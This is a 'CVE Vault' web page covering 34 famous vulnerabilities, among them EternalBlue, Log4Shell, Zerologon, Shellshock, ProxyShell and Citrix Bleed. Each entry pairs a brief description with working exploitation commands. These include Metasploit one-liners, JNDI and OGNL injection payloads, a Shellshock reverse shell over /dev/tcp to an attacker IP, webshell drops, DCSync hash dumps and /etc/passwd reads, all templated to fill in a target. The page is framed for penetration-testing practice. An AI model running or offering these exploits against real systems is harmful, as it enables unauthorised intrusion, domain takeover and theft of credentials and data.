library

CVE Vault

34 CVEs what it is · why it mattered · how it is used

The vulnerabilities worth knowing cold, with context and working exploitation. Set $_ vars and the commands fill with your target.

EternalBlue CVE-2017-0144 critical windows

affected Windows SMBv1 (MS17-010) · unpatched 7 / 2008 / 2012

What it is

A buffer overflow in SMBv1 lets an unauthenticated attacker run code as SYSTEM.

Why it mattered

Powered WannaCry and NotPetya. Still the fastest win on legacy internal networks and a rite of passage on HTB/OSCP.

exploitation

Confirm the target is vulnerable

nmap -p445 --script smb-vuln-ms17-010 <TARGET-IP>

Exploit with Metasploit

msfconsole -q -x "use exploit/windows/smb/ms17_010_eternalblue; set RHOSTS <TARGET-IP>; set LHOST <YOUR-IP>; run"

Manual (AutoBlue) if you cannot use MSF

python3 send_and_execute.py <TARGET-IP> shell.exe

refs MS17-010 ↗

Log4Shell CVE-2021-44228 critical web

affected Apache Log4j 2.0-beta9 to 2.14.1

What it is

A logged string like ${jndi:ldap://…} makes Log4j fetch and run remote Java · unauthenticated RCE.

Why it mattered

One of the most widespread vulns ever · nearly every Java app logs user input somewhere. Test every input, not just the obvious ones.

exploitation

The payload · drop it in headers (User-Agent, X-Forwarded-For), fields, anywhere logged

${jndi:ldap://<YOUR-IP>:1389/a}

Stand up the JNDI + HTTP callback server

java -jar JNDIExploit.jar -i <YOUR-IP>

Deliver a base64 command via a logged header

curl http://<TARGET-IP>:8080/ -H 'User-Agent: ${jndi:ldap://<YOUR-IP>:1389/Basic/Command/Base64/<CMD-B64>}'

refs NVD ↗

Zerologon CVE-2020-1472 critical ad

affected Windows Server DCs (Netlogon) before Aug 2020 patch

What it is

A crypto flaw in Netlogon lets an attacker with network access to a DC set its machine account password to empty · instant Domain Admin.

Why it mattered

Unauthenticated domain takeover from a single network foothold. Devastating and trivial to run.

exploitation

Check if the DC is vulnerable

python3 zerologon_tester.py <DC-NETBIOS> <DC-IP>

Zero the DC machine-account password

python3 cve-2020-1472-exploit.py <DC-NETBIOS> <DC-IP>

DCSync all hashes (then restore the machine password!)

impacket-secretsdump -no-pass -just-dc <DOMAIN>/<DC-NETBIOS>\$@<DC-IP>

refs Secura whitepaper ↗

PrintNightmare CVE-2021-34527 critical windows

affected Windows Print Spooler (most versions, 2021)

What it is

The Print Spooler lets an authenticated user load a malicious driver DLL · RCE / local privesc to SYSTEM.

Why it mattered

Works remotely and locally, and Spooler runs by default on DCs. A reliable AD escalation.

exploitation

Confirm the Spooler interface is exposed

impacket-rpcdump @<TARGET-IP> | egrep "MS-RPRN|MS-PAR"

Load your DLL via the Spooler

python3 CVE-2021-1675.py <DOMAIN>/<USER>:<PASS>@<TARGET-IP> \\<YOUR-IP>\share\evil.dll

refs NVD ↗

PwnKit CVE-2021-4034 high linux

affected polkit pkexec (default on almost every Linux distro, pre-2022)

What it is

A memory-corruption bug in pkexec's argument handling gives any local user a root shell.

Why it mattered

Nearly universal, no exotic conditions, one clean exploit. The first thing to try for Linux local privesc.

exploitation

Is pkexec present and SUID

ls -l /usr/bin/pkexec && pkexec --version

Self-contained exploit to root

git clone https://github.com/ly4k/PwnKit && cd PwnKit && ./PwnKit

refs Qualys advisory ↗

Dirty Pipe CVE-2022-0847 high linux

affected Linux kernel 5.8 to 5.16.11 / 5.15.25 / 5.10.102

What it is

A pipe/page-cache flaw lets an unprivileged user overwrite data in read-only files · overwrite /etc/passwd or a SUID binary to get root.

Why it mattered

Clean, reliable local privesc across a wide kernel range with no memory-corruption fragility.

exploitation

Confirm the kernel is in the vulnerable range (5.8 - 5.16.11)

uname -r

Overwrite a root-owned file to escalate

git clone https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits && cd CVE-2022-0847-DirtyPipe-Exploits && ./compile.sh && ./exploit-1

refs dirtypipe.cm4all.com ↗

Dirty COW CVE-2016-5195 high linux

affected Linux kernel < 4.8.3 (2007-2016)

What it is

A race condition in copy-on-write memory lets a local user write to read-only mappings · overwrite a SUID binary or /etc/passwd for root.

Why it mattered

Ancient but everywhere on legacy boxes. The classic old-kernel privesc.

exploitation

Vulnerable if kernel < 4.8.3

uname -r

Adds a root user "firefart" via /etc/passwd

gcc -pthread dirty.c -o dirty -lcrypt && ./dirty <NEW-PASS>

refs dirtycow.ninja ↗

Shellshock CVE-2014-6271 critical web

affected GNU Bash <= 4.3 (via CGI, DHCP, SSH forced-commands)

What it is

Bash executes trailing code in specially-crafted environment variables · RCE anywhere user input reaches a bash env var (classically CGI).

Why it mattered

Turned any bash-backed CGI endpoint into unauthenticated RCE. Still lurks on old appliances and routers.

exploitation

Test via a CGI script (User-Agent becomes an env var)

curl -H "User-Agent: () { :; }; echo; echo; /bin/bash -c 'id'" http://<TARGET-IP>/cgi-bin/status

Reverse shell via the same vector

curl -H "User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/<YOUR-IP>/<LPORT> 0>&1" http://<TARGET-IP>/cgi-bin/test.sh

refs NVD ↗

Drupalgeddon2 CVE-2018-7600 critical web

affected Drupal 7.x < 7.58, 8.x < 8.5.1

What it is

Improper input validation in form rendering lets an unauthenticated attacker run PHP · full RCE.

Why it mattered

A staple of OSCP-style boxes and real Drupal estates. Fast, reliable, unauthenticated.

exploitation

Fingerprint the Drupal version

curl http://<TARGET-IP>/CHANGELOG.txt | head -1

Drop a webshell / get RCE

python3 drupalgeddon2.py http://<TARGET-IP>

refs NVD ↗

Spring4Shell CVE-2022-22965 critical web

affected Spring Framework < 5.3.18 / 5.2.20 on JDK 9+ (WAR-deployed Tomcat)

What it is

A data-binding flaw lets an attacker write a JSP webshell into Tomcat via crafted parameters · unauthenticated RCE.

Why it mattered

Hit the ubiquitous Spring/Java stack. Enterprise-relevant and still found on unpatched apps.

exploitation

Write and trigger the JSP shell

python3 spring4shell.py --url http://<TARGET-IP>:8080/

Run commands via the dropped shell

curl "http://<TARGET-IP>:8080/shell.jsp?cmd=id"

refs NVD ↗

Follina CVE-2022-30190 high windows

affected Windows MSDT via Office documents (2022)

What it is

A malicious Office doc invokes ms-msdt: to run PowerShell · code execution on open, even with macros disabled.

Why it mattered

A potent phishing/initial-access primitive that bypassed the usual macro defenses.

exploitation

Generate the malicious doc + host the payload

python3 follina.py -i <YOUR-IP> -p <LPORT>

Catch the shell when the target opens the doc

nc -lvnp <LPORT>

refs NVD ↗

BlueKeep CVE-2019-0708 critical windows

affected Windows RDP · XP / 7 / 2008 / 2008 R2

What it is

A use-after-free in RDP lets an unauthenticated attacker run code as SYSTEM · wormable.

Why it mattered

The "next WannaCry" scare. On legacy boxes with 3389 open it is a pre-auth SYSTEM shell.

exploitation

Probe RDP (and check patch level)

nmap -p3389 --script rdp-vuln-ms12-020 <TARGET-IP>

Exploit (can BSOD · use with care)

msfconsole -q -x "use exploit/windows/rdp/cve_2019_0708_bluekeep_rce; set RHOSTS <TARGET-IP>; set LHOST <YOUR-IP>; run"

refs NVD ↗

ProxyShell CVE-2021-34473 critical web

affected Microsoft Exchange Server 2013 / 2016 / 2019 (pre Jul 2021)

What it is

A chain of three Exchange bugs (SSRF + path confusion + arbitrary write) gives an unauthenticated attacker RCE as SYSTEM.

Why it mattered

Mass-exploited against on-prem Exchange worldwide. On any engagement with a legacy Exchange box it is a first check.

exploitation

Run the chain to drop an ASPX webshell

python3 proxyshell.py -t https://<TARGET-IP> -e <USER>@<DOMAIN>

Execute commands through the dropped shell (runs as SYSTEM)

curl -k "https://<TARGET-IP>/aspnet_client/shell.aspx?cmd=whoami"

refs NVD ↗

Citrix Bleed CVE-2023-4966 critical web

affected Citrix NetScaler ADC / Gateway (pre Oct 2023)

What it is

An out-of-bounds read in NetScaler leaks memory, including valid session tokens, to an unauthenticated attacker.

Why it mattered

Used to hijack sessions and bypass MFA at scale (ransomware crews leaned on it hard). A leaked token is an authenticated session with no creds.

exploitation

Over-long Host header leaks session tokens out of memory

curl -k -H "Host: $(python3 -c 'print("a"*24812)')" "https://<TARGET-IP>/oauth/idp/.well-known/openid-configuration"

Replay a leaked token to ride an authenticated session

curl -k "https://<TARGET-IP>/" -b "NSC_AAAC=<LEAKED-TOKEN>"

refs NVD ↗

noPac (sAMAccountName spoofing) CVE-2021-42278 critical ad

affected Windows AD Domain Controllers (pre Nov 2021 patch)

What it is

Chaining sAMAccountName spoofing (42278) with a KDC bug (42287) lets any domain user impersonate a Domain Controller and get a SYSTEM shell.

Why it mattered

Low-priv user to Domain Admin with one tool, no rights beyond adding a machine account. Devastating and common on unpatched AD.

exploitation

Check MachineAccountQuota > 0 (you must be able to add a computer)

netexec ldap <DC-IP> -u <USER> -p <PASS> -M maq

Spoof a DC and pop a SYSTEM shell

python3 noPac.py <DOMAIN>/<USER>:<PASS> -dc-ip <DC-IP> -dc-host <DC-NETBIOS> --impersonate administrator -shell

refs NVD ↗

MOVEit Transfer CVE-2023-34362 critical web

affected Progress MOVEit Transfer (pre May 2023 patch)

What it is

A SQL injection in the MOVEit web app is chained to a .NET deserialization for unauthenticated RCE and mass data theft.

Why it mattered

The Cl0p group used it to breach thousands of organizations. A landmark managed-file-transfer supply-chain compromise.

exploitation

SQLi to a forged deserialization payload that drops human2.aspx

python3 CVE-2023-34362.py -u https://<TARGET-IP>

Interact with the dropped webshell to pull data / run code

curl -k "https://<TARGET-IP>/human2.aspx" -H "X-siLock-Step1: -1"

refs NVD ↗

Confluence OGNL CVE-2022-26134 critical web

affected Atlassian Confluence Server / Data Center (pre Jun 2022)

What it is

An OGNL injection in the request URI lets an unauthenticated attacker run arbitrary Java and OS commands.

Why it mattered

Instant unauth RCE on a ubiquitous enterprise wiki, exploited in the wild within days of disclosure.

exploitation

OGNL in the URI runs id (URL-encoded)

curl -s "http://<TARGET-IP>/%24%7B%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29%7D/"

Base64 a reverse-shell command into the same vector

curl -s "http://<TARGET-IP>/%24%7B%40java.lang.Runtime%40getRuntime%28%29.exec%28%22bash+-c+%7Becho%2C<CMD-B64>%7D%7C%7Bbase64%2C-d%7D%7Cbash%22%29%7D/"

refs NVD ↗

Baron Samedit (sudo) CVE-2021-3156 high linux

affected sudo 1.8.2 - 1.8.31p2 and 1.9.0 - 1.9.5p1 (default on most Linux)

What it is

A heap buffer overflow in sudo's argument parsing gives any local user a root shell, with no sudo rights required.

Why it mattered

Present by default on nearly every Linux system for a decade. A reliable local privesc when kernel exploits are too risky.

exploitation

Vulnerable if it errors with "sudoedit:" or segfaults; patched shows usage

sudoedit -s '\' $(python3 -c 'print("A"*1000)')

Compile and run the exploit to get root

git clone https://github.com/blasty/CVE-2021-3156 && cd CVE-2021-3156 && make && ./sudo-hax-me-a-sandwich

refs Qualys advisory ↗

Heartbleed CVE-2014-0160 high web

affected OpenSSL 1.0.1 - 1.0.1f (TLS heartbeat)

What it is

A missing bounds check in the TLS heartbeat lets an attacker read up to 64KB of server memory per request, leaking private keys, session cookies, and credentials.

Why it mattered

One of the most famous bugs ever. Still lurks on legacy TLS services, and a leaked private key breaks the whole encryption story.

exploitation

Confirm the service is vulnerable

nmap -p443 --script ssl-heartbleed <TARGET-IP>

Dump memory repeatedly and sift for secrets

python3 heartbleed.py <TARGET-IP> | grep -aE "pass|session|cookie"

refs heartbleed.com ↗

Apache Path Traversal / RCE CVE-2021-41773 critical web

affected Apache HTTP Server 2.4.49 (and 2.4.50 for the bypass)

What it is

A path-normalization flaw lets an attacker traverse outside the document root to read files, and with mod_cgi enabled, achieve remote code execution.

Why it mattered

Trivial to exploit against the exact version and a staple of OSCP-style boxes and real estates.

exploitation

Path traversal file read (confirm the version)

curl --path-as-is "http://<TARGET-IP>/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"

RCE when mod_cgi is enabled

curl --path-as-is -d "echo Content-Type: text/plain; echo; id" "http://<TARGET-IP>/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh"

refs NVD ↗

SMBGhost CVE-2020-0796 critical windows

affected Windows 10 / Server 1903-1909 (SMBv3.1.1 compression)

What it is

A buffer overflow in SMBv3 compression gives wormable pre-auth remote code execution, and a reliable local privilege escalation.

Why it mattered

The "next EternalBlue" for modern Windows: wormable, pre-auth, SYSTEM.

exploitation

Confirm SMB 3.1.1 with compression

nmap -p445 --script smb-protocols <TARGET-IP>

Local privesc or RCE PoC (can BSOD; use with care)

python3 CVE-2020-0796.py <TARGET-IP>

refs NVD ↗

GitLab CE RCE CVE-2021-22205 critical web

affected GitLab CE/EE < 13.10.3 / 13.9.6 / 13.8.8

What it is

A malicious image passed to a vulnerable bundled ExifTool yields unauthenticated remote code execution.

Why it mattered

Mass-exploited in the wild, and GitLab sits at the heart of dev shops (source code, CI secrets, deploy keys).

exploitation

Fingerprint the GitLab version

curl -s http://<TARGET-IP>/help | grep -i gitlab

Unauthenticated RCE to a reverse shell

python3 gitlab_rce.py -t http://<TARGET-IP> -l <YOUR-IP> -p <LPORT>

refs NVD ↗

PetitPotam CVE-2021-36942 critical ad

affected Windows AD with AD CS web enrollment (unpatched EFSRPC)

What it is

Coerces a Domain Controller to authenticate to the attacker via MS-EFSRPC; relayed to AD CS it yields a DC certificate, then a Domain Admin ticket.

Why it mattered

A reliable, near-unauthenticated path to full domain takeover wherever AD CS web enrollment is exposed.

exploitation

Stand up the relay to AD CS first

impacket-ntlmrelayx -t http://<CA-HOST>/certsrv/certfnsh.asp -smb2support --adcs --template DomainController

Coerce the DC to auth to your relay -> DC certificate

python3 PetitPotam.py -d <DOMAIN> -u <USER> -p <PASS> <YOUR-IP> <DC-IP>

refs NVD ↗

regreSSHion CVE-2024-6387 critical linux

affected OpenSSH sshd 8.5p1 - 9.7p1 on glibc Linux

What it is

A signal-handler race condition in sshd gives an unauthenticated attacker remote code execution as root.

Why it mattered

Pre-auth root on the single most exposed service on the internet. A 2024 landmark, though exploitation is timing and heap dependent.

exploitation

Grab the banner and confirm a vulnerable OpenSSH version

nc <TARGET-IP> 22

Race the signal handler (often needs thousands of attempts)

python3 regreSSHion.py <TARGET-IP> -p 22

refs Qualys advisory ↗

PAN-OS GlobalProtect CVE-2024-3400 critical network

affected Palo Alto PAN-OS 10.2 / 11.0 / 11.1 with GlobalProtect · unpatched April 2024

What it is

A command injection in the GlobalProtect portal lets an unauthenticated attacker plant a file via a crafted SESSID cookie, then run OS commands as root when the telemetry job fires.

Why it mattered

Perimeter firewalls compromised at scale (Operation MidnightEclipse). One unauthenticated request owns the edge device that fronts the whole network.

exploitation

Fingerprint the PAN-OS build

curl -sk "https://<TARGET-IP>/global-protect/login.esp" | grep -i version

Detect the vulnerable portal

nuclei -t http/cves/2024/CVE-2024-3400.yaml -u https://<TARGET-IP>

Exploit via the telemetry cron to a root shell

msfconsole -q -x "use exploit/linux/http/panos_telemetry_cmd_exec; set RHOSTS <TARGET-IP>; set LHOST <YOUR-IP>; run"

refs NVD ↗

Ivanti Connect Secure CVE-2024-21887 critical network

affected Ivanti Connect Secure / Policy Secure 9.x, 22.x · unpatched January 2024

What it is

An authentication bypass (CVE-2023-46805) chained with this command injection gives an unauthenticated attacker remote code execution on the VPN appliance.

Why it mattered

Mass-exploited by multiple actors in early 2024. The VPN concentrator is the crown jewel of the perimeter, and a shell on it means you are already inside.

exploitation

Detect the auth-bypass + injection chain

nuclei -t http/cves/2024/CVE-2024-21887.yaml -u https://<TARGET-IP>

Auth-bypass path traversal into the injectable license endpoint

curl -sk "https://<TARGET-IP>/api/v1/totp/user-backup-code/../../license/keys-status/;id;"

Chained exploit to a shell

msfconsole -q -x "use exploit/linux/http/ivanti_connect_secure_rce_cve_2024_21887; set RHOSTS <TARGET-IP>; set LHOST <YOUR-IP>; run"

refs NVD ↗

ScreenConnect Auth Bypass CVE-2024-1709 critical web

affected ConnectWise ScreenConnect 23.9.7 and earlier

What it is

A path-traversal in the setup wizard lets an unauthenticated attacker reach SetupWizard.aspx and create a brand-new administrator account.

Why it mattered

Trivial admin takeover of an RMM that reaches thousands of managed endpoints; weaponized for ransomware within days of disclosure.

exploitation

Reach the setup wizard past auth (path traversal)

curl -sk "https://<TARGET-IP>/SetupWizard.aspx/anything"

Create an admin, then deploy an extension for RCE

msfconsole -q -x "use exploit/multi/http/connectwise_screenconnect_rce_cve_2024_1709; set RHOSTS <TARGET-IP>; set LHOST <YOUR-IP>; run"

refs NVD ↗

PaperCut MF/NG CVE-2023-27350 critical web

affected PaperCut MF / NG before 20.1.7, 21.2.11, 22.0.9

What it is

An access-control flaw on the SetupCompleted page bypasses admin authentication, and the print-script feature then runs arbitrary code.

Why it mattered

Exploited by Clop and LockBit affiliates. Print servers sit deep inside networks with broad reach.

exploitation

Bypass auth into an admin session

curl -sk "http://<TARGET-IP>:9191/app?service=page/SetupCompleted"

Enable print-scripts and get code execution

msfconsole -q -x "use exploit/multi/http/papercut_ng_auth_bypass; set RHOSTS <TARGET-IP>; set LHOST <YOUR-IP>; run"

refs NVD ↗

Confluence Broken Access Control CVE-2023-22515 critical web

affected Atlassian Confluence Data Center / Server 8.0.0 - 8.5.1

What it is

A broken-access-control flaw lets an unauthenticated attacker re-open the setup flow and create a new Confluence administrator.

Why it mattered

Instant admin on internet-facing Confluence, then RCE via templates. Exploited in the wild before the patch landed.

exploitation

Reset the setup state to unlock admin creation

curl -sk "http://<TARGET-IP>:8090/server-info.action?bootstrapStatusProvider.applicationConfig.setupComplete=false"

Detect and confirm exploitability

nuclei -t http/cves/2023/CVE-2023-22515.yaml -u http://<TARGET-IP>:8090

refs NVD ↗

Citrix NetScaler RCE CVE-2023-3519 critical network

affected Citrix NetScaler ADC / Gateway 13.0 / 13.1 configured as VPN or AAA · July 2023

What it is

A stack overflow in the NetScaler gateway gives an unauthenticated attacker remote code execution on the appliance.

Why it mattered

Mass web-shell deployment across thousands of internet-facing appliances in the summer of 2023.

exploitation

Fingerprint the build date

curl -sk "https://<TARGET-IP>/vpn/index.html" -I | grep -i "Last-Modified"

Detect the vulnerable gateway

nuclei -t http/cves/2023/CVE-2023-3519.yaml -u https://<TARGET-IP>

refs NVD ↗

F5 BIG-IP iControl REST CVE-2022-1388 critical network

affected F5 BIG-IP 16.1.x / 15.1.x / 14.1.x / 13.1.x iControl REST

What it is

An authentication bypass in iControl REST lets an unauthenticated attacker run arbitrary system commands as root via the bash endpoint.

Why it mattered

One request to root on load balancers fronting critical apps. Weaponized within a day of disclosure.

exploitation

Auth-bypass command execution as root

curl -sku "admin:" "https://<TARGET-IP>/mgmt/tm/util/bash" -H "Content-Type: application/json" -H "X-F5-Auth-Token: x" -H "Connection: keep-alive, X-F5-Auth-Token" -d '{"command":"run","utilCmdArgs":"-c id"}'

Get a shell

msfconsole -q -x "use exploit/linux/http/f5_icontrol_rce; set RHOSTS <TARGET-IP>; set LHOST <YOUR-IP>; run"

refs NVD ↗

Cisco IOS XE Web UI CVE-2023-20198 critical network

affected Cisco IOS XE with the HTTP/HTTPS server enabled · October 2023

What it is

A privilege-escalation flaw in the web UI lets an unauthenticated attacker create a local level-15 (full admin) account.

Why it mattered

Tens of thousands of routers and switches implanted within days; complete control of the device and its traffic.

exploitation

Confirm the exposed web UI

curl -sk "https://<TARGET-IP>/webui/logoutconfirm.html?logon_hash=1" -I

Detect the flaw and check for an existing implant

nuclei -t http/cves/2023/CVE-2023-20198.yaml -u https://<TARGET-IP>

refs NVD ↗

PHP-CGI Argument Injection CVE-2024-4577 critical web

affected PHP on Windows in CGI mode: 8.1 < 8.1.29, 8.2 < 8.2.20, 8.3 < 8.3.8 (XAMPP by default)

What it is

A Windows best-fit encoding flaw lets an unauthenticated attacker smuggle PHP-CGI arguments and execute code.

Why it mattered

A 2024 re-break of the classic CVE-2012-1823. XAMPP and Windows PHP stacks are everywhere on internal networks.

exploitation

Argument injection straight to RCE

curl -s "http://<TARGET-IP>/index.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input" --data "<?php system('whoami'); ?>"

Detect the vulnerable PHP-CGI handler

nuclei -t http/cves/2024/CVE-2024-4577.yaml -u http://<TARGET-IP>

refs NVD ↗

Jenkins CLI File Read CVE-2024-23897 high web

affected Jenkins 2.441 and earlier, LTS 2.426.2 and earlier (args4j CLI)

What it is

The built-in CLI expands @-prefixed arguments into file contents, letting an attacker read arbitrary files · and reach RCE by leaking the secret key.

Why it mattered

Jenkins holds the keys to the whole build pipeline; a read of the master key or a credentials file leads to full compromise and supply-chain reach.

exploitation

Leak a file via CLI @-argument expansion

java -jar jenkins-cli.jar -s http://<TARGET-IP>:8080/ help "@/etc/passwd"

Detect the arbitrary-file-read

nuclei -t http/cves/2024/CVE-2024-23897.yaml -u http://<TARGET-IP>:8080

refs NVD ↗